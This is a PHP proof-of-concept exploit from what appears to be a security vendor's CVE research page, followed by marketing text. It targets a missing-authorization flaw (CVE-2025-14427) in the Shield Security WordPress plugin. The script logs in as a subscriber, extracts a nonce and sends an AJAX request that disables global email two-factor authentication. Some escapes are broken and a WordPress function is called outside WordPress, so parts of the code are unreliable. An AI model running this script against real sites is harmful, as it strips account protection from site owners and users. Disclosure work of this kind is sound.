// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14427 - Shield Security: Blocks Bots, Protects Users, and Prevents Security Breaches <= 21.0.9 - Missing Authorization to Authenticated (Subscriber+) Email MFA Update

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to obtain session cookies and a valid nonce
function authenticate_and_get_nonce($target_url, $username, $password) {
    $ch = curl_init();
    
    // First, get the login page to retrieve the login nonce
    curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    $response = curl_exec($ch);
    
    // Extract the login nonce (simplified - in reality would need to parse HTML)
    // For this PoC, we assume the attacker can obtain a valid nonce through normal plugin interaction
    
    // Now authenticate
    $post_fields = [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => admin_url(),
        'testcookie' => '1'
    ];
    
    curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    
    // After authentication, visit a page that loads Shield Security to get a valid nonce
    curl_setopt($ch, CURLOPT_URL, admin_url());
    curl_setopt($ch, CURLOPT_POST, false);
    $response = curl_exec($ch);
    
    // Extract nonce from page (this is simplified - actual implementation would parse JavaScript or HTML)
    // Shield Security nonces are typically available in JavaScript variables
    preg_match('/"ajax".*?"nonce"s*:s*"([^"]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    curl_close($ch);
    return $nonce;
}

// Step 2: Exploit the missing authorization to disable global Email 2FA
function exploit_mfa_disable($target_url, $nonce) {
    $ch = curl_init();
    
    $post_fields = [
        'action' => 'MfaEmailDisable',
        'exec' => 'Y',
        'mfa_email_disable' => 'Y',
        'active_wp_user' => '1', // Any user ID - the vulnerability ignores this parameter
        '_wpnonce' => $nonce,
        'shield_action' => 'MfaEmailDisable'
    ];
    
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Execute the PoC
$nonce = authenticate_and_get_nonce($target_url, $username, $password);

if (!empty($nonce)) {
    $result = exploit_mfa_disable($target_url, $nonce);
    
    echo "HTTP Status: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "n";
    
    if ($result['code'] == 200 && strpos($result['response'], 'success') !== false) {
        echo "[+] SUCCESS: Global Email 2FA has been disabled.n";
    } else {
        echo "[-] Exploit may have failed or the site is not vulnerable.n";
    }
} else {
    echo "[-] Failed to obtain valid nonce. Authentication may have failed.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School